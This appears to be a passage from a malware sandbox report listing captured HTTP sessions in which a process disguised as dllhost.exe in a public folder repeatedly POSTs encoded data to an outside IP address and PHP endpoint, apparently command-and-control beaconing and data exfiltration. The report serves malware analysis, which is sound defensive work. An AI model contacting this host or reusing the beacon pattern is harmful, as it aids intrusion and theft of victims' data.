                                                                                                                                      18192.168.2.44976091.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:27:40.490586042 CET238OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2536
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Dec 9, 2024 00:27:40.843182087 CET2536OUTData Raw: 59 5c 43 54 58 41 55 59 54 57 5b 51 55 59 59 5b 50 58 5a 5b 56 52 57 5a 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: Y\CTXAUYTW[QUYY[PXZ[VRWZX_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_'['-+"6'Y(C%\3/ ?_8Z49#T!<Q)9'!! _??&\"'Z,,
                                                                                                                                      Dec 9, 2024 00:27:41.772653103 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:27:42.035217047 CET151INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:27:41 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Content-Length: 4
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 3d 5b 40 58
                                                                                                                                      Data Ascii: =[@X


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      19192.168.2.44976191.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:27:42.269382954 CET238OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2536
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Dec 9, 2024 00:27:42.624428034 CET2536OUTData Raw: 59 58 46 51 58 44 50 5b 54 57 5b 51 55 5b 59 5b 50 53 5a 50 56 53 57 5b 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: YXFQXDP[TW[QU[Y[PSZPVSW[X_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_'X3>.(,_#%++='/+(4 :'Q5?(*;#!$[<?&\"'Z,$
                                                                                                                                      Dec 9, 2024 00:27:43.550786018 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:27:43.785527945 CET151INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:27:43 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Content-Length: 4
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 3d 5b 40 58
                                                                                                                                      Data Ascii: =[@X


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      20192.168.2.44976291.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:27:44.021748066 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2536
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:27:44.374555111 CET2536OUTData Raw: 59 5d 46 57 58 44 55 5b 54 57 5b 51 55 5e 59 55 50 5e 5a 51 56 57 57 5e 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: Y]FWXDU[TW[QU^YUP^ZQVWW^X_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_'Z$)Y+:$7'X?5-^0W<)37\#!<P+96,_*/&\"'Z,0


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      21192.168.2.44976391.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:27:45.231050014 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 1860
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:27:45.577569962 CET1860OUTData Raw: 5c 59 46 56 5d 46 55 5d 54 57 5b 51 55 51 59 5f 50 52 5a 50 56 5d 57 52 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: \YFV]FU]TW[QUQY_PRZPV]WRX_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_''>1+9Z#& ?"0 )*$Y7"V3<86",<&\"'Z,
                                                                                                                                      Dec 9, 2024 00:27:46.542615891 CET405INHTTP/1.1 100 Continue
                                                                                                                                      Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 30 38 20 44 65 63 20 32 30 32 34 20 32 33 3a 32 37 3a 34 36 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 35 38 20 28 55 62 75 6e 74 75 29 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 31 35 32 0d 0a 4b 65 65 70 2d 41 6c 69 76 65 3a 20 74 69 6d 65 6f 75 74 3d 35 2c 20 6d 61 78 3d 31 30 30 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 4b 65 65 70 2d 41 6c 69 76 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 0d 0a 0f 13 39 1c 26 36 20 06 3d 33 3a 09 28 02 33 5f 3a 59 2f 05 3c 30 21 5e 32 10 38 0b 32 2b 29 0f 3f 07 27 59 30 21 2e 0e 30 34 2c 0f 3e 02 2f 58 07 1c 27 1f 3e 2b 2f 5b 32 1d 3e 1b 3d 32 33 5c 31 04 37 02 27 2e 38 1e 26 23 2b 02 2b 33 25 11 26 3b 22 0a 28 38 2b 07 2d 27 0e 54 22 34 23 53 08 11 25 50 33 32 3f 02 32 01 34 5f 36 0d [TRUNCATED]
                                                                                                                                      Data Ascii: HTTP/1.1 200 OKDate: Sun, 08 Dec 2024 23:27:46 GMTServer: Apache/2.4.58 (Ubuntu)Vary: Accept-EncodingContent-Length: 152Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=UTF-89&6 =3:(3_:Y/<0!^282+)?'Y0!.04,>/X'>+/[2>=23\17'.8&#++3%&;"(8+-'T"4#S%P32?24_6P']#T)Z8Y?=Y(!9'#$<<Y&01%*&T*#V1WP


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      22192.168.2.44976491.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:27:45.351223946 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2536
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:27:45.702629089 CET2536OUTData Raw: 59 5a 43 56 5d 44 55 5c 54 57 5b 51 55 51 59 5d 50 5e 5a 58 56 57 57 58 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: YZCV]DU\TW[QUQY]P^ZXVWWXX_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_'Y&=%=9(4S+?%)[$Y4)94]4)#!,U()?!<?/&\"'Z,
                                                                                                                                      Dec 9, 2024 00:27:46.637933969 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:27:46.873531103 CET207INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:27:46 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Content-Length: 4
                                                                                                                                      Keep-Alive: timeout=5, max=100
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 3d 5b 40 58
                                                                                                                                      Data Ascii: =[@X


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      23192.168.2.44976591.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:27:47.116477966 CET238OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2536
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Dec 9, 2024 00:27:47.468242884 CET2536OUTData Raw: 5c 5b 43 55 58 46 55 5a 54 57 5b 51 55 5a 59 5f 50 5a 5a 5d 56 56 57 58 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: \[CUXFUZTW[QUZY_PZZ]VVWXX_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_$0%\?*,_#5+[(&-0,+4Y *+5?</#28^<&\"'Z,
                                                                                                                                      Dec 9, 2024 00:27:48.385843992 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:27:48.621589899 CET151INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:27:48 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Content-Length: 4
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 3d 5b 40 58
                                                                                                                                      Data Ascii: =[@X


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      24192.168.2.44976691.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:27:48.864181042 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2536
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:27:49.218413115 CET2536OUTData Raw: 5c 5e 43 55 58 43 50 58 54 57 5b 51 55 5e 59 5b 50 5a 5a 5a 56 57 57 5f 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: \^CUXCPXTW[QU^Y[PZZZVWW_X_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_$0[!(:0Y#&#Z<=3?(9 \ 7"3 ?:8^" <&\"'Z,0
                                                                                                                                      Dec 9, 2024 00:27:50.307723999 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:27:50.541408062 CET207INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:27:50 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Content-Length: 4
                                                                                                                                      Keep-Alive: timeout=5, max=100
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 3d 5b 40 58
                                                                                                                                      Data Ascii: =[@X


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      25192.168.2.44976791.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:27:50.786727905 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2536
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:27:51.140060902 CET2536OUTData Raw: 59 5f 43 56 58 46 50 5e 54 57 5b 51 55 50 59 5c 50 58 5a 50 56 5d 57 5c 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: Y_CVXFP^TW[QUPY\PXZPV]W\X_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_''>1\?$[#%+_(5)^'/+T?$!*$6 +)* 5 Y*/&\"'Z,


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      26192.168.2.44976891.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:27:51.666685104 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 1860
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:27:52.015172958 CET1860OUTData Raw: 59 58 43 57 5d 44 55 5a 54 57 5b 51 55 5c 59 5b 50 5d 5a 58 56 57 57 58 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: YXCW]DUZTW[QU\Y[P]ZXVWWXX_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_$0>9+9 76'^+5!_0<8+3 :(" /(_ ^"!_<&\"'Z,8
                                                                                                                                      Dec 9, 2024 00:27:52.963906050 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:27:53.197314024 CET380INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:27:52 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Vary: Accept-Encoding
                                                                                                                                      Content-Length: 152
                                                                                                                                      Keep-Alive: timeout=5, max=100
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 0f 13 3a 08 26 08 34 00 28 23 2e 0b 3f 5a 3f 16 2d 11 01 03 2a 20 0f 11 26 3e 3c 0c 26 16 04 1d 2b 3d 37 14 33 0c 0b 57 33 0e 30 08 3d 12 2f 58 07 1c 24 04 3c 28 3f 5d 31 23 26 5e 3d 08 27 5b 31 03 16 5a 27 10 05 04 24 20 34 11 3c 0d 21 1f 25 16 25 16 3c 02 3f 05 39 51 30 1c 22 0e 23 53 08 11 25 14 33 31 06 5a 26 06 34 5b 35 0a 3a 57 24 3b 3f 54 3e 5a 3c 13 2b 20 22 00 3c 0f 32 54 25 32 3b 0a 27 2c 2b 00 27 33 0c 57 25 10 26 54 2a 00 23 56 03 31 57 50
                                                                                                                                      Data Ascii: :&4(#.?Z?-* &><&+=73W30=/X$<(?]1#&^='[1Z'$ 4<!%%<?9Q0"#S%31Z&4[5:W$;?T>Z<+ "<2T%2;',+'3W%&T*#V1WP


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      27192.168.2.44976991.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:27:51.787400007 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2536
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:27:52.140034914 CET2536OUTData Raw: 59 5b 43 57 58 47 50 59 54 57 5b 51 55 5b 59 5b 50 5f 5a 5d 56 50 57 53 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: Y[CWXGPYTW[QU[Y[P_Z]VPWSX_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_$$)\=);7%#X(1Z'?4<9;4+# ?9Y51?/&\"'Z,$
                                                                                                                                      Dec 9, 2024 00:27:53.102917910 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:27:53.337259054 CET207INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:27:52 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Content-Length: 4
                                                                                                                                      Keep-Alive: timeout=5, max=100
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 3d 5b 40 58
                                                                                                                                      Data Ascii: =[@X


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      28192.168.2.44977091.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:27:53.585968971 CET238OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2536
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Dec 9, 2024 00:27:53.936991930 CET2536OUTData Raw: 59 5b 43 51 5d 41 55 58 54 57 5b 51 55 5b 59 55 50 5c 5a 5d 56 5c 57 5e 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: Y[CQ]AUXTW[QU[YUP\Z]V\W^X_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_$$[!\?9["64*6&0<#+:4Z#:+6##+^"!8+?&\"'Z,$
                                                                                                                                      Dec 9, 2024 00:27:54.852792978 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:27:55.085331917 CET151INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:27:54 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Content-Length: 4
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 3d 5b 40 58
                                                                                                                                      Data Ascii: =[@X


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      29192.168.2.44977191.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:27:55.317920923 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2536
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:27:55.671339035 CET2536OUTData Raw: 59 5e 43 5c 5d 41 55 59 54 57 5b 51 55 5c 59 5e 50 5e 5a 50 56 56 57 58 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: Y^C\]AUYTW[QU\Y^P^ZPVVWXX_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_'[$.<9(["6+_+.&?+Q<*'#:86,Q))0\!,Z?/&\"'Z,8
                                                                                                                                      Dec 9, 2024 00:27:56.592921019 CET25INHTTP/1.1 100 Continue
                                                                                                                                      Dec 9, 2024 00:27:56.875097990 CET207INHTTP/1.1 200 OK
                                                                                                                                      Date: Sun, 08 Dec 2024 23:27:56 GMT
                                                                                                                                      Server: Apache/2.4.58 (Ubuntu)
                                                                                                                                      Content-Length: 4
                                                                                                                                      Keep-Alive: timeout=5, max=100
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                                                      Data Raw: 3d 5b 40 58
                                                                                                                                      Data Ascii: =[@X


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                      30192.168.2.44977391.227.41.9806924C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                      Dec 9, 2024 00:27:57.120341063 CET262OUTPOST /imagePipepolldletemp.php HTTP/1.1
                                                                                                                                      Content-Type: application/octet-stream
                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
                                                                                                                                      Host: 91.227.41.9
                                                                                                                                      Content-Length: 2536
                                                                                                                                      Expect: 100-continue
                                                                                                                                      Connection: Keep-Alive
                                                                                                                                      Dec 9, 2024 00:27:57.468347073 CET2536OUTData Raw: 5c 5b 43 50 58 40 50 5f 54 57 5b 51 55 5e 59 5a 50 52 5a 5e 56 50 57 5c 58 5f 5d 56 5e 5d 54 5c 47 5b 51 54 59 53 5b 57 5c 52 55 5c 52 5a 50 5f 51 50 58 59 42 5a 59 50 5d 56 51 5d 54 50 5c 5f 5b 5c 42 58 5a 5f 5a 5d 5a 52 5e 5b 47 56 5f 5f 5e 5d
                                                                                                                                      Data Ascii: \[CPX@P_TW[QU^YZPRZ^VPW\X_]V^]T\G[QTYS[W\RU\RZP_QPXYBZYP]VQ]TP\_[\BXZ_Z]ZR^[GV__^]_QUZV]VPZ\ZTYQ^[_VZV[Y^Z^_\^YSYWYQQZ^YVQ[ZSW]W\R^_Y\^\ZVTPXQYVU[ZYVQT_BRYSX@SVY\[X^PWWW^^_P_T_X[\QGQU_'Y$1X?)<^47_+69]0,+)? *!8W?9\623??&\"'Z,0


                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
